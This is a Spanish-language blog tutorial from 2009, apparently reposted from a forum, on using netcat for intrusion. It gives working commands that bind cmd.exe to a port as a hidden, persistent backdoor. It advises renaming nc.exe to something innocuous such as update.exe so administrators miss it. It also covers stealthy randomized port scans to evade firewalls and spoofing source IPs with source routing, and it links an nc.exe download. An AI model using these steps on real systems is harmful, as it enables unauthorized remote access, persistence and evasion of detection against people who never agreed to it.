viernes, 13 de noviembre de 2009

Net Cat (Nuestra herramienta :d)

Bueno, este tutorial va a ser breve ( y pretendo que sea explicativo para los newbies en el tema )

Bueno primero:

¿Que es NeTcAt?
Segun wikipedia ...

Netcat es una Herramienta de red originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Posteriormente fue portada a Windows y Mac OS X entre otras plataformas. Netcat permite a través de intérprete de comandos y con una sintaxis sencilla abrirPuertos TCP/UDP en un (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a HOST MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos)

Bueno eso (basicamente es netcat)

Ahora Dr [F]
Como lo usamos..?

Bueno sencillo primero lo tenemos que bajar nuestro querido netcat (nc)
ademas, necesitaremos una herramienta llamada Quick Batch Compiler, lo que hara es compilar nuestro programa (lo veremos mas adelante) en modo oculto.
Bueno sin mas preambulo, les dejo nuestro querido NC

http://rapidshare.com/files/308025177/nc.exe.html

Bueno, ahora empezemos, primero, cabe destacar que nuestro netcat, se maneja mediante lineas de comandos (MS DOS)






-i Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo

Obtener acceso remoto a una shell

Si se ejecuta el comando nc.exe -l –p4455 –e cmd.exe desde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.





Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.

C:\>nc.exe –l –p 4455 –d –e cmd.exe

De ésta forma, podremos ocultar una puerta trasera basada en Netcat.

Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.

C:\>nc.exe –p 4455 –d –L –e cmd.exe

Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:\Windows\System32



Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.



EXPLORACION SILENCIOSA DE PUERTOS

Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.



Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria. Esto debe quedar de la siguiente forma;



En la instrucción anterior se le dice a Netcat que explore los puertos de la IP 127.0.0.1 desde el 139 hasta el 145 de manera aleatoria, habiendo 10 segundos entre uno y otro. Y Netcat me ha dicho que solo se encuentran abiertos el 139 y el 145.

Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.

SUPLANTAR UNA DIRECCION IP

Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramient o o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.

Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podria iniciar una exploración de puertos utilizando la opción –s para hacer pensar que estan siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft. Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?

En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.

Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una direccion IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.

La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.

Bueno, este tutorial, fue sacado del foro cph.
Este mismo fue echo por zazu_17

No hay comentarios:

Publicar un comentario